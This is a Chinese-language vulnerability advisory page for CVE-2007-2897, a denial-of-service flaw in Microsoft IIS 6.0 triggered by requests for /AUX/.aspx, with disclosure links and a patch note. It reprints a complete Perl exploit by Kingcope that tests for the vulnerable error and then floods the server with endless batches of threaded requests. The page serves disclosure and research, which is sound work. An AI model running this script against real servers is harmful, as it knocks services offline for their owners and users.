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首页 / 操作系统 / Linux / Microsoft IIS DOS设备请求安全限制绕过漏洞

发布日期:2007-05-22
更新日期:2012-02-01受影响系统:
Microsoft IIS
描述:
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BUGTRAQ  ID: 51527
CVE ID: CVE-2007-2897Internet Information Services(IIS,互联网信息服务)是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。IIS 6.0在请求特制路径时存在拒绝服务漏洞,远程攻击者可利用此漏洞使应用程序挂起或泄漏敏感信息,物理接触系统的攻击者可以当前用户权限执行任意代码。<*来源:3APA3A (3APA3A@security.nnov.ru)
 
  链接:http://seclists.org/fulldisclosure/2007/May/378
        http://archives.neohapsis.com/archives/fulldisclosure/2007-05/0419.html
*>测试方法:
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警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!3APA3A (3APA3A@security.nnov.ru)提供了如下测试方法:#When sending multiple parallel GET requests to a IIS 6.0 server requesting
#/AUX/.aspx the server gets instable and non responsive. This happens only
#to servers which respond a runtime error (System.Web.HttpException)
#and take two or more seconds to respond to the /AUX/.aspx GET request.
#
#
#signed,
#Kingcope kingcope () gmx net
##########################################################################
###***********************************************************************
###
###
###
### Lame Internet Information Server 6.0 Denial Of Service (nonpermanent)
### by Kingcope, May/2007
### Better run this from a Linux system
##########################################################################use IO::Socket;
use threads;if ($ARGV[0] eq "") { exit; }
my $host = $ARGV[0];$|=1;sub sendit {
$sock = IO::Socket::INET->new(PeerAddr => $host,
                              PeerPort => "http(80)",
                              Proto    => "tcp");print $sock "GET /AUX/.aspx HTTP/1.1 Host:
$host Connection:close ";
}$sock = IO::Socket::INET->new(PeerAddr => $host,
                              PeerPort => "http(80)",
                              Proto    => "tcp");print $sock "GET /AUX/.aspx HTTP/1.1 Host:
$host Connection:close ";$k=0;
while (<$sock>) {
        if (($_ =~ /RuntimesError/) || ($_ =~ /HttpException/)) {
                        $k=1;
                        last;
        }
}if ($k==0) {
        print "Server does not seem vulnerable to this attack. ";
        exit;  
}print "ATTACK! ";while(1){for (my $i=0;$i<=100;$i++) {
        $thr = threads->new(&sendit);
        print " $i/100                        ";
}foreach $thr (threads->list) {
        $thr->join;
}
}建议:
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厂商补丁:Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:http://www.microsoft.com/technet/security/Google Chrome 16.0.912.77之前版本多个安全漏洞Mozilla Firefox/SeaMonkey/Thunderbird跨域安全限制绕过漏洞相关资讯      漏洞 
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